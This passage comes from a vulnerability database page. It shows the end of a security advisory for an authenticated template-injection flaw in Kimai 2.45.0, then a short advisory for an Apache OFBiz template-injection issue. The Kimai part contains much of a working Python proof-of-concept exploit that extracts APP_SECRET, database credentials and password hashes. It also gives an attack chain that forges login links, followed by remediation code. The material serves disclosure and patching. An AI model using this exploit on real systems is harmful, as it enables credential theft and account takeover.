subprocess.run(\n                [\"pdftotext\", output_path, \"-\"],\n                capture_output=True,\n                text=True,\n                timeout=30\n            )\n            if result.returncode != 0:\n                print(f\"[-] pdftotext error: {result.stderr}\")\n                return None\n            return result.stdout\n        except FileNotFoundError:\n            print(\"[-] pdftotext not installed\")\n            print(\"    Install with: apt install poppler-utils\")\n            return None\n        except subprocess.TimeoutExpired:\n            print(\"[-] pdftotext timed out\")\n            return None\n\n    def parse_findings(self, text):\n        \"\"\"Parse and categorize extracted data\"\"\"\n        findings = {\n            \"app_secret\": None,\n            \"database_url\": None,\n            \"password_hashes\": [],\n            \"session_token\": None,\n            \"csrf_tokens\": []\n        }\n        \n        lines = text.split(\u0027\\n\u0027)\n        for i, line in enumerate(lines):\n            line = line.strip()\n            \n            if \"APP_SECRET:\" in line:\n                findings[\"app_secret\"] = line.split(\"APP_SECRET:\")[-1].strip()\n            \n            if \"DATABASE_URL:\" in line or \"mysql://\" in line:\n                if \"mysql://\" in line:\n                    findings[\"database_url\"] = line.strip()\n                elif i + 1 \u003c len(lines):\n                    findings[\"database_url\"] = lines[i + 1].strip()\n            \n            if \"$2y$\" in line:\n                findings[\"password_hashes\"].append(line)\n            \n            if \"UsernamePasswordToken\" in line:\n                findings[\"session_token\"] = \"Present (serialized PHP object)\"\n            \n            if \"_csrf\" in line.lower() or len(line) == 43:\n                if \":\" in line:\n                    findings[\"csrf_tokens\"].append(line)\n        \n        return findings\n\n\ndef print_banner():\n    print(\"\"\"\n\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\n\u2551     Kimai 2.45.0 - SSTI Information Disclosure Exploit        \u2551\n\u2551                                                               \u2551\n\u2551  Extracts: APP_SECRET, DATABASE_URL, Password Hashes          \u2551\n\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d\n\"\"\")\n\n\ndef main():\n    print_banner()\n    \n    if len(sys.argv) \u003c 4:\n        print(\"Usage: python3 ssti_exploit.py \u003ctarget_url\u003e \u003cusername\u003e \u003cpassword\u003e [template_name]\")\n        print()\n        print(\"Arguments:\")\n        print(\"  target_url    - Kimai instance URL (e.g., http://localhost:8001)\")\n        print(\"  username      - Valid admin username\")\n        print(\"  password      - User password\")\n        print(\"  template_name - Optional: custom template name (default: ssti-extract.pdf.twig)\")\n        print()\n        print(\"Example:\")\n        print(\"  python3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123!\")\n        print()\n        print(\"Prerequisites:\")\n        print(\"  1. Deploy malicious template to /opt/kimai/var/export/ssti-extract.pdf.twig\")\n        print(\"  2. User must have export permissions (ROLE_ADMIN or higher)\")\n        sys.exit(1)\n    \n    target = sys.argv[1]\n    username = sys.argv[2]\n    password = sys.argv[3]\n    template = sys.argv[4] if len(sys.argv) \u003e 4 else \"ssti-extract.pdf.twig\"\n    \n    exploit = KimaiSSTIExploit(target, username, password)\n    \n    try:\n        # Step 1: Authenticate\n        exploit.login()\n        \n        # Step 2: Trigger SSTI\n        pdf_content = exploit.trigger_ssti(template)\n        \n        # Step 3: Save PDF\n        output_file = \"kimai_extracted_data.pdf\"\n        with open(output_file, \"wb\") as f:\n            f.write(pdf_content)\n        print(f\"[+] PDF saved to: {output_file}\")\n        \n        # Step 4: Extract and display text\n        text = exploit.extract_text(pdf_content)\n        if text:\n            print()\n            print(\"=\"*60)\n            print(\"RAW EXTRACTED DATA:\")\n            print(\"=\"*60)\n            print(text[:2000])\n            if len(text) \u003e 2000:\n                print(f\"\\n... [{len(text) - 2000} more characters]\")\n            \n            # Parse findings\n            findings = exploit.parse_findings(text)\n            \n            print()\n            print(\"=\"*60)\n            print(\"CRITICAL FINDINGS SUMMARY:\")\n            print(\"=\"*60)\n            \n            if findings[\"app_secret\"]:\n                print(f\"[!] APP_SECRET: {findings[\u0027app_secret\u0027]}\")\n            \n            if findings[\"database_url\"]:\n                print(f\"[!] DATABASE_URL: {findings[\u0027database_url\u0027]}\")\n            \n            if findings[\"password_hashes\"]:\n                unique_hashes = list(set(findings[\"password_hashes\"]))\n                print(f\"[!] Password Hashes Found: {len(unique_hashes)} unique\")\n                for h in unique_hashes[:5]:\n                    print(f\"    {h[:80]}...\")\n                if len(unique_hashes) \u003e 5:\n                    print(f\"    ... and {len(unique_hashes) - 5} more\")\n            \n            if findings[\"session_token\"]:\n                print(f\"[!] Session Token: {findings[\u0027session_token\u0027]}\")\n            \n            if findings[\"csrf_tokens\"]:\n                print(f\"[!] CSRF Tokens: {len(findings[\u0027csrf_tokens\u0027])} found\")\n        \n        print()\n        print(\"[+] Exploitation successful!\")\n        print(f\"[+] Full output saved to: {output_file}\")\n        return 0\n        \n    except KeyboardInterrupt:\n        print(\"\\n[-] Interrupted by user\")\n        return 130\n    except Exception as e:\n        print(f\"[-] Exploitation failed: {e}\")\n        return 1\n\n\nif __name__ == \"__main__\":\n    sys.exit(main())\n```\n\n---\n\n## Impact Analysis\n\n| Extracted Data | Security Impact |\n|---------------|-----------------|\n| `APP_SECRET` | Can forge Symfony login links to access ANY user account |\n| `DATABASE_URL` | Direct database connection credentials exposed |\n| Password Hashes | Offline password cracking possible (bcrypt) |\n| Session Tokens | Session structure analysis, potential replay attacks |\n| CSRF Tokens | Bypass CSRF protection for subsequent attacks |\n\n### Attack Chain Example\n\n1. Exploit SSTI \u2192 Extract `APP_SECRET`\n2. Use `APP_SECRET` to forge login link for target user\n3. Access target user\u0027s account without knowing their password\n\n---\n\n## Remediation\n\n### Immediate Fix\n\nReplace `DefaultPolicy` with `InvoicePolicy` in `ExportPolicy`:\n\n```php\n// src/Twig/SecurityPolicy/ExportPolicy.php\n// Change:\n$this-\u003epolicy-\u003eaddPolicy(new DefaultPolicy());\n\n// To:\n$this-\u003epolicy-\u003eaddPolicy(new InvoicePolicy());\n```\n\n### Additional Hardening\n\n1. **Block environment access in templates:**\n   ```php\n   public function checkMethodAllowed($obj, $method): void\n   {\n       if ($obj instanceof Request \u0026\u0026 $method === \u0027getServer\u0027) {\n           throw new SecurityError(\u0027Server access not allowed\u0027);\n       }\n   }\n   ```\n\n2. **Block session access in templates:**\n   ```php\n   if ($obj instanceof Session) {\n       throw new SecurityError(\u0027Session access not allowed\u0027);\n   }\n   ```\n\n3. **Restrict User object property access:**\n   ```php\n   if ($obj instanceof User \u0026\u0026 $method === \u0027getPassword\u0027) {\n       throw new SecurityError(\u0027Password access not allowed\u0027);\n   }\n   ```\n\n\n---\n\nReported by: Mahammad Huseynkhanli",
  "id": "GHSA-jg2j-2w24-54cg",
  "modified": "2026-01-20T17:07:13Z",
  "published": "2026-01-20T17:07:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/kimai/kimai/security/advisories/GHSA-jg2j-2w24-54cg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23626"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kimai/kimai/pull/5757"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kimai/kimai/commit/6a86afb5fd79f6c1825060b87c09bd1909c2e86f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/kimai/kimai"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kimai/kimai/releases/tag/2.46.0"
    },
    {
      "type": "WEB",
      "url": "https://twig.symfony.com/doc/3.x/api.html#sandbox-extension"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Kimai has an Authenticated Server-Side Template Injection (SSTI)"
}

GHSA-JQMC-X3RH-92Q5

Vulnerability from github – Published: 2026-05-19 12:31 – Updated: 2026-05-19 21:32
VLAI
Details

Improper Neutralization of Special Elements Used in a Template Engine vulnerability in Apache OFBiz.

This issue affects Apache OFBiz: before 24.09.06.

Users are recommended to upgrade to version 24.09.06, which fixes the issue.

Please note that in the updated version, "Data Resource" records with dataTemplateTypeId = "FTL" are no longer supported.

Additionally, in the updated version, the "Ecommerce Customer" security group no longer includes content management grants. Users are advised to remove these permissions from any production site as well.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-29207"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-19T10:16:22Z",
    "severity": "MODERATE"
  },
  "details": "Improper Neutralization of Special Elements Used in a Template Engine vulnerability in Apache OFBiz.\n\nThis issue affects Apache OFBiz: before 24.09.06.\n\nUsers are recommended to upgrade to version 24.09.06, which fixes the issue.\n\nPlease note that in the updated version, \"Data Resource\" records with dataTemplateTypeId = \"FTL\" are no longer supported.\n\nAdditionally, in the updated version, the \"Ecommerce Customer\" security group no longer includes content management grants. Users are advised to remove these permissions from any production site as well.",
  "id": "GHSA-jqmc-x3rh-92q5",
  "modified": "2026-05-19T21:32:02Z",
  "published": "2026-05-19T12:31:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29207"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/3rcrp8bh3x6ovrj5xnc0fm1f0nrn52r0"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/05/19/14"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Architecture and Design

Choose a template engine that offers a sandbox or restricted mode, or at least limits the power of any available expressions, function calls, or commands.

Mitigation
Implementation

Use the template engine's sandbox or restricted mode, if available.

No CAPEC attack patterns related to this CWE.